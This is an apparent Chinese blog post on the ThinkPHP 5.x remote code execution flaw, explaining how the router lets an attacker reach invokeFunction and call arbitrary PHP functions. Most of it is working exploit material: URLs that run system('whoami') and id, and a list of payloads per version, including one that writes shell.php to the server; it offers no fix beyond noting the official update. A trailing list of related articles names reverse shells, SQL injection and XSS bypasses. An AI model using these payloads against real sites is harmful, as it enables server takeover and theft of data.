thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決

先來(lái)簡(jiǎn)單說(shuō)說(shuō)前天thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒(méi)有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell
影響的范圍: 5.x < 5.1.31, <= 5.0.23
漏洞危害: 導(dǎo)致系統(tǒng)被提權(quán)(你懂的)
這里附上一個(gè)自己測(cè)試的 thinkphp的 鏈接 http://www.thinkphp.cn/download/1260.html 版本是5.0.22
先來(lái)講下,5.0 跟5.1的區(qū)別吧,tp5.1中引入了容器(Container)和門面(Facade)這兩個(gè)新的類 tp5.0是沒(méi)有這兩個(gè)新的類的,
漏洞原理
URL:http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction
我們先來(lái)看看App類里的 exec函數(shù)里的執(zhí)行分層控制器的操作
我們這里是把controller 的調(diào)用信息跟配置信息全部傳到了 invokeFunction 這個(gè) 執(zhí)行函數(shù)里面去了
因?yàn)閠hink\App是第二個(gè)入口,在tp運(yùn)行的時(shí)候就會(huì)被加載 所以用think\App里面的分層控制器的執(zhí)行操作的時(shí)候,需要去調(diào)用invokeFunction這個(gè)函數(shù)。
這個(gè)函數(shù)有兩個(gè)參數(shù),如上圖所示,第一個(gè)是函數(shù)的名字,第二個(gè)參數(shù)數(shù)組,比如$function傳入BaiDu然后$vars傳入[12,555]就相當(dāng)于調(diào)用BaiDu(12,555)
此處我們把function傳入call_user_func_array然后vars[0]傳入我們要執(zhí)行的函數(shù)的名字vars[1]傳入要執(zhí)行函數(shù)的參數(shù),因?yàn)関ars是個(gè)數(shù)組 所以此處我們的get請(qǐng)求需要這樣寫
vars[]=函數(shù)名&vars[1][]=參數(shù)
此處是利用php的數(shù)組注入
此時(shí)此刻就可以開(kāi)始利用遠(yuǎn)程代碼執(zhí)行漏洞了 比如我們要執(zhí)行system函數(shù) 他的參數(shù)是whoami
http://192.168.188.141/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
下面你懂的,作為一個(gè)接班人我們要做的就是修復(fù)他(為所欲為?),當(dāng)然官方更新的最新版本是已經(jīng)修復(fù)了的
這里就代碼執(zhí)行成功,以下奉獻(xiàn)上tp不同版本的payload
?s=index/\think\Request/input&filter=phpinfo&data=1 ?s=index/\think\Request/input&filter=system&data=id ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content= ?s=index/\think\view\driver\Php/display&content= ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。
相關(guān)文章
thinkphp代碼執(zhí)行g(shù)etshell的漏洞解決
本文來(lái)介紹一下thinkphp官方修復(fù)的一個(gè)getshell漏洞,框架對(duì)控制器沒(méi)有進(jìn)行足夠的檢測(cè)導(dǎo)致的一處getshell,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨2018-12-12記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊
這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實(shí)網(wǎng)絡(luò)攻擊,需要的朋友可以參考下2018-11-30- 這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下2017-09-06
- 這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點(diǎn)服務(wù)端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下2017-05-20
- 這篇文章主要介紹了SQL注入黑客防線網(wǎng)站實(shí)例分析,需要的朋友可以參考下2017-05-19
ASP+PHP 標(biāo)準(zhǔn)sql注入語(yǔ)句(完整版)
這里為大家分享一下sql注入的一些語(yǔ)句,很多情況下由于程序員的安全意識(shí)薄弱或基本功不足就容易導(dǎo)致sql注入安全問(wèn)題,建議大家多看一下網(wǎng)上的安全文章,最好的防范就是先學(xué)2017-05-19- 對(duì)于目前流行的sql注入,程序員在編寫程序時(shí),都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會(huì)自動(dòng)的記錄下你的IP地址,提交的非法參數(shù)和動(dòng)作等,2017-04-29
XSS繞過(guò)技術(shù) XSS插入繞過(guò)一些方式總結(jié)
我們友情進(jìn)行XSS檢查,偶然跳出個(gè)小彈窗,其中我們總結(jié)了一些平時(shí)可能用到的XSS插入方式,方便我們以后進(jìn)行快速檢查,也提供了一定的思路,其中XSS有反射、存儲(chǔ)、DOM這三類2016-12-27Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺
這篇文章主要介紹了Python 爬蟲(chóng)使用動(dòng)態(tài)切換ip防止封殺的相關(guān)資料,需要的朋友可以參考下2016-10-08使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法
這篇文章主要介紹了使用爬蟲(chóng)采集網(wǎng)站時(shí),解決被封IP的幾種方法的相關(guān)資料,需要的朋友可以參考下2016-10-08